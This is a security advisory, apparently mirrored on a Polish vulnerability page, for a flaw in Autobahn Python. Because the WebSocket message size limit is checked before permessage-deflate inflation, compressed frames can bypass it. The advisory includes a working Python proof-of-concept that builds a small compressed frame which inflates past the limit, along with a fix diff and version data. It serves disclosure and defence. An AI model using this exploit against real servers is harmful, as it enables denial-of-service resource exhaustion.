Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation
Summary
Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.
Details
The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.
Reproduction
import sys
import types
import zlib
if len(sys.argv) != 2:
raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")
SRC = sys.argv[1]
class _Log:
def debug(self, *args, **kwargs):
pass
def warn(self, *args, **kwargs):
pass
def error(self, *args, **kwargs):
pass
class _Timer:
def call_later(self, *args, **kwargs):
return self
def cancel(self):
pass
txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio
hyperlink = types.ModuleType("hyperlink")
class _URL:
@classmethod
def from_text(cls, text):
return cls(text)
def __init__(self, text):
self._text = text
def to_uri(self):
return self
def normalize(self):
return self
def to_text(self):
return self._text
hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink
wamp_types = types.ModuleType("autobahn.wamp.types")
class TransportDetails:
pass
wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types
sys.path.insert(0, SRC + "/src")
from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol
class _Factory:
isServer = True
requireMaskedClientFrames = True
maskServerFrames = False
utf8validateIncoming = True
applyMask = True
maxFramePayloadSize = 128
maxMessagePayloadSize = 128
autoFragmentSize = 0
failByDrop = True
echoCloseCodeReason = False
openHandshakeTimeout = 5
closeHandshakeTimeout = 1
tcpNoDelay = True
autoPingInterval = 0
autoPingTimeout = 0
autoPingSize = 12
autoPingRestartOnAnyTraffic = True
logOctets = False
logFrames = False
trackTimings = False
versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
webStatus = False
perMessageCompressionAccept = staticmethod(lambda offer: None)
serveFlashSocketPolicy = False
flashSocketPolicy = ""
allowedOrigins = ["*"]
allowedOriginsPatterns = []
allowNullOrigin = True
maxConnections = 0
trustXForwardedFor = 0
_batched_timer = _Timer()
class CapturingProtocol(WebSocketProtocol):
CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER
def __init__(self):
super().__init__()
self.delivered = None
def _onMessageBegin(self, isBinary):
self.onMessageBegin(isBinary)
def _onMessageFrameBegin(self, length):
self.onMessageFrameBegin(length)
def _onMessageFrameData(self, payload):
self.onMessageFrameData(payload)
def _onMessageFrameEnd(self):
self.onMessageFrameEnd()
def _onMessageFrame(self, payload):
self.onMessageFrame(payload)
def _onMessageEnd(self):
self.onMessageEnd()
def _onMessage(self, payload, isBinary):
self.delivered = payload
def sendData(self, data, sync=False, chopsize=None):
pass
def dropConnection(self, abort=True):
self.droppedByMe = True
self.state = WebSocketProtocol.STATE_CLOSED
def masked_compressed_text_frame(payload):
compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
compressed = compressed[:-4]
mask = b"\x11\x22\x33\x44"
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
if len(compressed) <= 125:
header = bytes([0xC1, 0x80 | len(compressed)])
elif len(compressed) <= 65535:
header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
else:
raise RuntimeError("compressed fixture too large")
return header + mask + masked, len(compressed)
limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
raise SystemExit("compressed fixture does not pass pre-inflate limit")
proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
is_server=True,
server_no_context_takeover=False,
client_no_context_takeover=False,
server_max_window_bits=15,
client_max_window_bits=15,
mem_level=8,
max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13
proto._dataReceived(frame)
delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
print(
"AUTOBAHN_DEFLATE_LIMIT_BYPASS "
f"delivered_length={delivered_len} configured_limit={limit} "
f"compressed_length={compressed_len}"
)
raise SystemExit(0)
print(
"guarded "
f"delivered_length={delivered_len} configured_limit={limit} "
f"compressed_length={compressed_len} "
f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)
Impact
A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.
Suggested fix
diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
if self.state == WebSocketProtocol.STATE_OPEN:
self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+ if self._isMessageCompressed:
+ self.message_data_total_length += uncompressedLen - compressedLen
+ if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+ self.wasMaxMessagePayloadSizeExceeded = True
+ self._max_message_size_exceeded(
+ self.message_data_total_length,
+ self.maxMessagePayloadSize,
+ f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+ )
+ return False
# incrementally validate UTF-8 payload
#
Reported by Team Atlanta.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | autobahn | < 26.7.1 | 26.7.1 |
| Python (PyPI) | crossbar | < 26.7.1 | 26.7.1 |
Odnośniki
- https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566
- https://nvd.nist.gov/vuln/detail/CVE-2026-77528
- https://github.com/crossbario/autobahn-python/pull/1916
- https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613
- https://github.com/crossbario/autobahn-python
- https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1
- https://pypi.org/project/autobahn
- https://github.com/advisories/GHSA-hxp9-w8x3-p566
- https://pypi.org/project/crossbar
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Słabość (CWE)
CWE-409, CWE-770- Platforma
- Python (PyPI)
- Paczka
autobahn, crossbar- Ujawniono
- 22.09.2026
- Aktualizacja
- 11.10.2026 15:18
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-4027 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-hxp9-w8x3-p566 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-4031 - PyPA Advisory Database; CC BY 4.0
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